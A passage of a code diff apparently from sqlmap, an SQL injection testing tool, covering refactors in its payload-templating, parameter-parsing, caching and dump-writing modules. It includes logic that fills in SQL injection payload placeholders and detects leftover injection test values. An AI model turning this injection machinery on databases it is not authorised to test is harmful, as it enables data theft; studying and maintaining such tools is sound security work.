         elif place == PLACE.CUSTOM_HEADER:
             paramString = origValue
-            origValue = origValue.split(kb.customInjectionMark)[0]
             origValue = origValue[origValue.find(',') + 1:]
+            origValue = origValue.split(kb.customInjectionMark)[0]
             match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
             if match:
                 origValue = match.group("value")
@@ -294,17 +294,21 @@ class Agent(object):
         if payload is None:
             return
 
-        _ = (
+        replacements = (
-                ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
+            ("[DELIMITER_START]", kb.chars.start),
-                ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
+            ("[DELIMITER_STOP]", kb.chars.stop),
-                ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
+            ("[AT_REPLACE]", kb.chars.at),
-            )
+            ("[SPACE_REPLACE]", kb.chars.space),
-        payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
+            ("[DOLLAR_REPLACE]", kb.chars.dollar),
+            ("[HASH_REPLACE]", kb.chars.hash_),
+            ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
+        )
+        payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)
 
-        for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
+        for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
             payload = payload.replace(_, str(randomInt()))
 
-        for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
+        for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
             payload = payload.replace(_, randomStr())
 
         if origValue is not None and "[ORIGVALUE]" in payload:
@@ -928,7 +932,7 @@ class Agent(object):
             limitedQuery += " %s" % limitStr
 
         elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
-            if not " ORDER BY " in limitedQuery:
+            if " ORDER BY " not in limitedQuery:
                 limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
             elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
                 limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]

lib/core/bigarray.py

@@ -6,15 +6,15 @@ See the file 'LICENSE' for copying permission
 """
 
 try:
-   import cPickle as pickle
+    import cPickle as pickle
 except:
-   import pickle
+    import pickle
 
+import bz2
 import itertools
 import os
 import sys
 import tempfile
-import zlib
 
 from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapSystemException
@@ -86,11 +86,11 @@ class BigArray(list):
             self.chunks.pop()
             try:
                 with open(self.chunks[-1], "rb") as f:
-                    self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
+                    self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
             except IOError, ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex.message
-                raise SqlmapSystemException, errMsg
+                raise SqlmapSystemException(errMsg)
 
         return self.chunks[-1].pop()
 
@@ -107,7 +107,7 @@ class BigArray(list):
             self.filenames.add(filename)
             os.close(handle)
             with open(filename, "w+b") as f:
-                f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
+                f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
             return filename
         except (OSError, IOError), ex:
             errMsg = "exception occurred while storing data "
@@ -115,7 +115,7 @@ class BigArray(list):
             errMsg += "make sure that there is enough disk space left. If problem persists, "
             errMsg += "try to set environment variable 'TEMP' to a location "
             errMsg += "writeable by the current user"
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
 
     def _checkcache(self, index):
         if (self.cache and self.cache.index != index and self.cache.dirty):
@@ -125,11 +125,11 @@ class BigArray(list):
         if not (self.cache and self.cache.index == index):
             try:
                 with open(self.chunks[index], "rb") as f:
-                    self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
+                    self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
             except IOError, ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex.message
-                raise SqlmapSystemException, errMsg
+                raise SqlmapSystemException(errMsg)
 
     def __getstate__(self):
         return self.chunks, self.filenames

lib/core/common.py

@@ -19,6 +19,7 @@ import locale
 import logging
 import ntpath
 import os
+import platform
 import posixpath
 import random
 import re
@@ -74,6 +75,7 @@ from lib.core.enums import EXPECTED
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import LOGGING_LEVELS
 from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import OPTION_TYPE
 from lib.core.enums import OS
@@ -594,9 +596,7 @@ def paramToDict(place, parameters=None):
                 testableParameters[parameter] = "=".join(parts[1:])
                 if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
                     _ = urldecode(testableParameters[parameter], convall=True)
-                    if (_.endswith("'") and _.count("'") == 1
+                    if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
-                      or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
-                      and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
                         warnMsg = "it appears that you have provided tainted parameter values "
                         warnMsg += "('%s') with most likely leftover " % element
                         warnMsg += "chars/statements from manual SQL injection test(s). "
@@ -649,7 +649,7 @@ def paramToDict(place, parameters=None):
                                     message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
                                     message += "is JSON deserializable. Do you want to inject inside? [y/N] "
 
-                                    if not readInput(message, default='N', boolean=True):
+                                    if readInput(message, default='N', boolean=True):
                                         del testableParameters[parameter]
                                         testableParameters.update(candidates)
                                     break
@@ -868,7 +868,10 @@ def boldifyMessage(message):
 
 def setColor(message, bold=False):
     retVal = message
-    level = extractRegexResult(r"\[(?P<result>[A-Z ]+)\]", message) or kb.get("stickyLevel")
+    level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
+
+    if isinstance(level, unicode):
+        level = unicodeencode(level)
 
     if message and getattr(LOGGER_HANDLER, "is_tty", False):  # colorizing handler
         if bold:
@@ -884,6 +887,21 @@ def setColor(message, bold=False):
 
     return retVal
 
+def clearColors(message):
+    """
+    Clears ANSI color codes
+
+    >>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld")
+    'Hello World'
+    """
+
+    retVal = message
+
+    if message:
+        retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
+
+    return retVal
+
 def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
     """
     Writes text to the stdout (console) stream
@@ -892,7 +910,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
     message = ""
 
     if not kb.get("threadException"):
-        if forceOutput or not getCurrentThreadData().disableStdOut:
+        if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
             if kb.get("multiThreadMode"):
                 logging._acquireLock()
 
@@ -997,8 +1015,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
             elif answer is None and retVal:
                 retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
 
+    if message and getattr(LOGGER_HANDLER, "is_tty", False):
+        message = "\r%s" % message
+
     if retVal:
-        dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True)
+        dataToStdout("%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)
 
         debugMsg = "used the given answer"
         logger.debug(debugMsg)
@@ -1012,7 +1033,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
             else:
                 options = unicode()
 
-            dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True)
+            dataToStdout("%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)
 
             debugMsg = "used the default behavior, running in batch mode"
             logger.debug(debugMsg)
@@ -1025,7 +1046,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
                 if conf.get("beep"):
                     beep()
 
-                dataToStdout("\r%s" % message, forceOutput=True, bold=True)
+                dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
                 kb.prependFlag = False
 
                 retVal = raw_input().strip() or default
@@ -1173,7 +1194,7 @@ def banner():
         _ = BANNER
 
         if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
-            _ = re.sub("\033.+?m", "", _)
+            _ = clearColors(_)
         elif IS_WIN:
             coloramainit()
 
@@ -1351,7 +1372,7 @@ def parseTargetDirect():
                     raise SqlmapSyntaxException(errMsg)
 
                 if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
-                    import _mssql
+                    __import__("_mssql")
                     import pymssql
 
                     if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
@@ -1361,17 +1382,21 @@ def parseTargetDirect():
                         raise SqlmapMissingDependence(errMsg)
 
                 elif dbmsName == DBMS.MYSQL:
-                    import pymysql
+                    __import__("pymysql")
                 elif dbmsName == DBMS.PGSQL:
-                    import psycopg2
+                    __import__("psycopg2")
                 elif dbmsName == DBMS.ORACLE:
-                    import cx_Oracle
+                    __import__("cx_Oracle")
+
+                    # Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper
+                    if (conf.dbmsUser or "").upper() == "SYS":
+                        conf.direct = "%s?mode=SYSDBA" % conf.direct
                 elif dbmsName == DBMS.SQLITE:
-                    import sqlite3
+                    __import__("sqlite3")
                 elif dbmsName == DBMS.ACCESS:
-                    import pyodbc
+                    __import__("pyodbc")
                 elif dbmsName == DBMS.FIREBIRD:
-                    import kinterbasdb
+                    __import__("kinterbasdb")
             except:
                 if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
                     pass
@@ -1399,10 +1424,10 @@ def parseTargetUrl():
         raise SqlmapGenericException(errMsg)
 
     if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
-        if ":443/" in conf.url:
+        if re.search(r":443\b", conf.url):
-            conf.url = "https://" + conf.url
+            conf.url = "https://%s" % conf.url
         else:
-            conf.url = "http://" + conf.url
+            conf.url = "http://%s" % conf.url
 
     if kb.customInjectionMark in conf.url:
         conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
@@ -1425,13 +1450,14 @@ def parseTargetUrl():
     conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
 
     try:
-        _ = conf.hostname.encode("idna")
+        conf.hostname.encode("idna")
-    except LookupError:
+        conf.hostname.encode(UNICODE_ENCODING)
-        _ = conf.hostname.encode(UNICODE_ENCODING)
+    except (LookupError, UnicodeError):
-    except UnicodeError:
+        invalid = True
-        _ = None
+    else:
+        invalid = False
 
-    if any((_ is None, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
+    if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
         errMsg = "invalid target URL ('%s')" % originalUrl
         raise SqlmapSyntaxException(errMsg)
 
@@ -1474,6 +1500,23 @@ def parseTargetUrl():
     if conf.url != originalUrl:
         kb.originalUrls[conf.url] = originalUrl
 
+def escapeJsonValue(value):
+    """
+    Escapes JSON value (used in payloads)
+
+    # Reference: https://stackoverflow.com/a/16652683
+    """
+
+    retVal = ""
+
+    for char in value:
+        if char < ' ' or char == '"':
+            retVal += json.dumps(char)[1:-1]
+        else:
+            retVal += char
+
+    return retVal
+
 def expandAsteriskForColumns(expression):
     """
     If the user provided an asterisk rather than the column(s)
@@ -1985,7 +2028,7 @@ def parseXmlFile(xmlFile, handler):
         errMsg = "something appears to be wrong with "
         errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
         errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)
 
 def getSQLSnippet(dbms, sfile, **variables):
     """
@@ -2117,7 +2160,7 @@ def initCommonOutputs():
                     if line not in kb.commonOutputs[key]:
                         kb.commonOutputs[key].add(line)
 
-def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False):
+def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
     """
     Returns newline delimited items contained inside file
     """
@@ -2130,20 +2173,14 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un
     checkFile(filename)
 
     try:
-        with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f:
+        with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f:
-            for line in (f.readlines() if unicode_ else f.xreadlines()):  # xreadlines doesn't return unicode strings when codec.open() is used
+            for line in (f.readlines() if unicoded else f.xreadlines()):  # xreadlines doesn't return unicode strings when codec.open() is used
                 if commentPrefix:
                     if line.find(commentPrefix) != -1:
                         line = line[:line.find(commentPrefix)]
 
                 line = line.strip()
 
-                if not unicode_:
-                    try:
-                        line = str.encode(line)
-                    except UnicodeDecodeError:
-                        continue
-
                 if line:
                     if lowercase:
                         line = line.lower()
@@ -2516,7 +2553,7 @@ def findMultipartPostBoundary(post):
 
     return retVal
 
-def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True):
+def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
     """
     URL decodes given value
 
@@ -2534,14 +2571,14 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH
             pass
         finally:
             if convall:
-                result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value)
+                result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value)
             else:
                 def _(match):
                     charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable)
                     char = chr(ord(match.group(1).decode("hex")))
                     return char if char in charset else match.group(0)
                 result = value
-                if plusspace:
+                if spaceplus:
                     result = result.replace('+', ' ')  # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case)
                 result = re.sub(r"%([0-9a-fA-F]{2})", _, result)
 
@@ -2643,7 +2680,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
             dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
             dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
 
-def getPageTemplate(payload, place):  # Cross-linked function
+def getPageTemplate(payload, place):  # Cross-referenced function
     raise NotImplementedError
 
 @cachedmethod
@@ -2976,7 +3013,7 @@ def setOptimize():
     Sets options turned on by switch '-o'
     """
 
-    #conf.predictOutput = True
+    # conf.predictOutput = True
     conf.keepAlive = True
     conf.threads = 3 if conf.threads < 3 else conf.threads
     conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
@@ -3180,9 +3217,7 @@ def showHttpErrorCodes():
 
     if kb.httpErrorCodes:
         warnMsg = "HTTP error codes detected during run:\n"
-        warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \
+        warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items())
-          if code in httplib.responses else '?', count) \
-          for code, count in kb.httpErrorCodes.items())
         logger.warn(warnMsg)
         if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()):
             msg = "too many 4xx and/or 5xx HTTP error codes "
@@ -3198,8 +3233,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu
         return codecs.open(filename, mode, encoding, errors, buffering)
     except IOError:
         errMsg = "there has been a file opening error for filename '%s'. " % filename
-        errMsg += "Please check %s permissions on a file " % ("write" if \
+        errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
-          mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
         errMsg += "and that it's not locked by another process."
         raise SqlmapSystemException(errMsg)
 
@@ -3264,14 +3298,17 @@ def checkIntegrity():
     logger.debug("running code integrity check")
 
     retVal = True
-    for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
+
-        path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
+    if os.path.isfile(paths.CHECKSUM_MD5):
-        if not os.path.isfile(path):
+        for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
-            logger.error("missing file detected '%s'" % path)
+            path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
-            retVal = False
+            if not os.path.isfile(path):
-        elif md5File(path) != checksum:
+                logger.error("missing file detected '%s'" % path)
-            logger.error("wrong checksum of file '%s' detected" % path)
+                retVal = False
-            retVal = False
+            elif md5File(path) != checksum:
+                logger.error("wrong checksum of file '%s' detected" % path)
+                retVal = False
+
     return retVal
 
 def unhandledExceptionMessage():
@@ -3287,9 +3324,9 @@ def unhandledExceptionMessage():
     errMsg += "reproduce the bug. The "
     errMsg += "developers will try to reproduce the bug, fix it accordingly "
     errMsg += "and get back to you\n"
-    errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
+    errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
     errMsg += "Python version: %s\n" % PYVERSION
-    errMsg += "Operating system: %s\n" % PLATFORM
+    errMsg += "Operating system: %s\n" % platform.platform()
     errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
     errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
     errMsg += "Back-end DBMS:"
@@ -3330,7 +3367,7 @@ def createGithubIssue(errMsg, excMsg):
     msg += "with the unhandled exception information at "
     msg += "the official Github repository? [y/N] "
     try:
-        choice = readInput(msg, default='N', boolean=True)
+        choice = readInput(msg, default='N', checkBatch=False, boolean=True)
     except:
         choice = None
 
@@ -3397,10 +3434,10 @@ def maskSensitiveData(msg):
             value = extractRegexResult(regex, retVal)
             retVal = retVal.replace(value, '*' * len(value))
 
-    if not conf.get("hostname"):
+    # Just in case (for problematic parameters regarding user encoding)
-        match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal)
+    match = re.search(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)( -?-[a-z]|\Z)", retVal)
-        if match:
+    if match:
-            retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
+        retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
 
     if getpass.getuser():
         retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal)
@@ -3562,7 +3599,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
         _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
 
         if _:
-            retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
+            retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
 
         if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
             retVal = unsafeSQLIdentificatorNaming(retVal)
@@ -3573,8 +3610,12 @@ def safeSQLIdentificatorNaming(name, isTable=False):
                 retVal = "\"%s\"" % retVal
             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                 retVal = "\"%s\"" % retVal.upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
+            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
-                retVal = "[%s]" % retVal
+                parts = retVal.split('.', 1)
+                for i in xrange(len(parts)):
+                    if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)):
+                        parts[i] = "[%s]" % parts[i]
+                retVal = '.'.join(parts)
 
         if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
             retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -3850,7 +3891,7 @@ def asciifyUrl(url, forceQuote=False):
         #     urllib.quote(s.replace('%', '')) != s.replace('%', '')
         # which would trigger on all %-characters, e.g. "&".
         if getUnicode(s).encode("ascii", "replace") != s or forceQuote:
-            return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe)
+            return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe)
         return s
 
     username = quote(parts.username, '')
@@ -3908,6 +3949,9 @@ def isAdminFromPrivileges(privileges):
 def findPageForms(content, url, raise_=False, addToTargets=False):
     """
     Parses given page content for possible forms
+
+    >>> findPageForms('<html><form action="/input.php" method="POST"><input type="text" name="id" value="1"><input type="submit" value="Submit"></form></html>', '')
+    set([(u'/input.php', 'POST', u'id=1', None, None)])
     """
 
     class _(StringIO):
@@ -3930,8 +3974,6 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
 
     try:
         forms = ParseResponse(response, backwards_compat=False)
-    except (UnicodeError, ValueError):
-        pass
     except ParseError:
         if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
             warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
@@ -3947,6 +3989,8 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
                         raise SqlmapGenericException(errMsg)
                     else:
                         logger.debug(errMsg)
+    except:
+        pass
 
     if forms:
         for form in forms:
@@ -3977,7 +4021,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
                 url = urldecode(request.get_full_url(), kb.pageEncoding)
                 method = request.get_method()
                 data = request.get_data() if request.has_data() else None
-                data = urldecode(data, kb.pageEncoding, plusspace=False)
+                data = urldecode(data, kb.pageEncoding, spaceplus=False)
 
                 if not data and method and method.upper() == HTTPMETHOD.POST:
                     debugMsg = "invalid POST form with blank data detected"
@@ -4186,7 +4230,7 @@ def decodeHexValue(value, raw=False):
                     except UnicodeDecodeError:
                         pass
                 if not isinstance(retVal, unicode):
-                    retVal = getUnicode(retVal, "utf8")
+                    retVal = getUnicode(retVal, conf.encoding or "utf8")
 
         return retVal
 
@@ -4328,7 +4372,9 @@ def prioritySortColumns(columns):
     ['userid', 'name', 'password']
     """
 
-    _ = lambda x: x and "id" in x.lower()
+    def _(column):
+        return column and "id" in column.lower()
+
     return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)
 
 def getRequestHeader(request, name):

lib/core/convert.py

@@ -80,7 +80,7 @@ def base64unpickle(value, unsafe=False):
         if len(self.stack) > 1:
             func = self.stack[-2]
             if func not in PICKLE_REDUCE_WHITELIST:
-                raise Exception, "abusing reduce() is bad, Mkay!"
+                raise Exception("abusing reduce() is bad, Mkay!")
         self.load_reduce()
 
     def loads(str):
@@ -94,7 +94,7 @@ def base64unpickle(value, unsafe=False):
 
     try:
         retVal = loads(base64decode(value))
-    except TypeError: 
+    except TypeError:
         retVal = loads(base64decode(bytes(value)))
 
     return retVal
@@ -174,7 +174,7 @@ def htmlunescape(value):
             pass
     return retVal
 
-def singleTimeWarnMessage(message):  # Cross-linked function
+def singleTimeWarnMessage(message):  # Cross-referenced function
     sys.stdout.write(message)
     sys.stdout.write("\n")
     sys.stdout.flush()

lib/core/decorators.py

@@ -7,6 +7,8 @@ See the file 'LICENSE' for copying permission
 
 import hashlib
 
+from lib.core.threads import getCurrentThreadData
+
 def cachedmethod(f, cache={}):
     """
     Method with a cached content
@@ -15,10 +17,25 @@ def cachedmethod(f, cache={}):
     """
 
     def _(*args, **kwargs):
-        key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16)
+        key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff
         if key not in cache:
             cache[key] = f(*args, **kwargs)
 
         return cache[key]
 
     return _
+
+def stackedmethod(f):
+    def _(*args, **kwargs):
+        threadData = getCurrentThreadData()
+        originalLevel = len(threadData.valueStack)
+
+        try:
+            result = f(*args, **kwargs)
+        finally:
+            if len(threadData.valueStack) > originalLevel:
+                threadData.valueStack = threadData.valueStack[:originalLevel]
+
+        return result
+
+    return _

lib/core/defaults.py

@@ -8,20 +8,20 @@ See the file 'LICENSE' for copying permission
 from lib.core.datatype import AttribDict
 
 _defaults = {
-   "csvDel":       ',',
+    "csvDel": ',',
-   "timeSec":      5,
+    "timeSec": 5,
-   "googlePage":   1,
+    "googlePage": 1,
-   "verbose":      1,
+    "verbose": 1,
-   "delay":        0,
+    "delay": 0,
-   "timeout":      30,
+    "timeout": 30,
-   "retries":      3,
+    "retries": 3,
-   "saFreq":       0,
+    "saFreq": 0,
-   "threads":      1,
+    "threads": 1,
-   "level":        1,
+    "level": 1,
-   "risk":         1,
+    "risk": 1,
-   "dumpFormat":   "CSV",
+    "dumpFormat": "CSV",
-   "tech":         "BEUSTQ",
+    "tech": "BEUSTQ",
-   "torType":      "SOCKS5",
+    "torType": "SOCKS5",
 }
 
 defaults = AttribDict(_defaults)

lib/core/dicts.py

@@ -208,54 +208,60 @@ FROM_DUMMY_TABLE = {
 }
 
 SQL_STATEMENTS = {
-    "SQL SELECT statement":  (
+    "SQL SELECT statement": (
-            "select ",
+        "select ",
-            "show ",
+        "show ",
-            " top ",
+        " top ",
-            " distinct ",
+        " distinct ",
-            " from ",
+        " from ",
-            " from dual",
+        " from dual",
-            " where ",
+        " where ",
-            " group by ",
+        " group by ",
-            " order by ",
+        " order by ",
-            " having ",
+        " having ",
-            " limit ",
+        " limit ",
-            " offset ",
+        " offset ",
-            " union all ",
+        " union all ",
-            " rownum as ",
+        " rownum as ",
-            "(case ",        ),
+        "(case ",
+    ),
 
-    "SQL data definition":   (
+    "SQL data definition": (
         "create ",
         "declare ",
         "drop ",
         "truncate ",
-        "alter ",            ),
+        "alter ",
+    ),
 
     "SQL data manipulation": (
-            "bulk ",
+        "bulk ",
-            "insert ",
+        "insert ",
-            "update ",
+        "update ",
-            "delete ",
+        "delete ",
-            "merge ",
+        "merge ",
-            "load ",         ),
+        "load ",
+    ),
 
-    "SQL data control":      (
+    "SQL data control": (
-            "grant ",
+        "grant ",
-            "revoke ",       ),
+        "revoke ",
+    ),
 
-    "SQL data execution":    (
+    "SQL data execution": (
-            "exec ",
+        "exec ",
-            "execute ",
+        "execute ",
-            "values ", 
+        "values ",
-            "call ",         ),
+        "call ",
+    ),
 
-    "SQL transaction":       (
+    "SQL transaction": (
-            "start transaction ",
+        "start transaction ",
-            "begin work ",
+        "begin work ",
-            "begin transaction ",
+        "begin transaction ",
-            "commit ",
+        "commit ",
-            "rollback ",     ),
+        "rollback ",
+    ),
 }
 
 POST_HINT_CONTENT_TYPES = {

lib/core/dump.py

@@ -46,6 +46,7 @@ from lib.core.settings import METADB_SUFFIX
 from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
 from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
 from lib.core.settings import UNICODE_ENCODING
+from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
 from lib.core.settings import WINDOWS_RESERVED_NAMES
 from thirdparty.magic import magic
 
@@ -414,16 +415,16 @@ class Dump(object):
         elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
             if not os.path.isdir(dumpDbPath):
                 try:
-                    os.makedirs(dumpDbPath, 0755)
+                    os.makedirs(dumpDbPath)
                 except:
                     warnFile = True
 
-                    _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))
+                    _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
                     dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
 
                     if not os.path.isdir(dumpDbPath):
                         try:
-                            os.makedirs(dumpDbPath, 0755)
+                            os.makedirs(dumpDbPath)
                         except Exception, ex:
                             try:
                                 tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
@@ -441,7 +442,7 @@ class Dump(object):
 
                             dumpDbPath = tempDir
 
-            dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
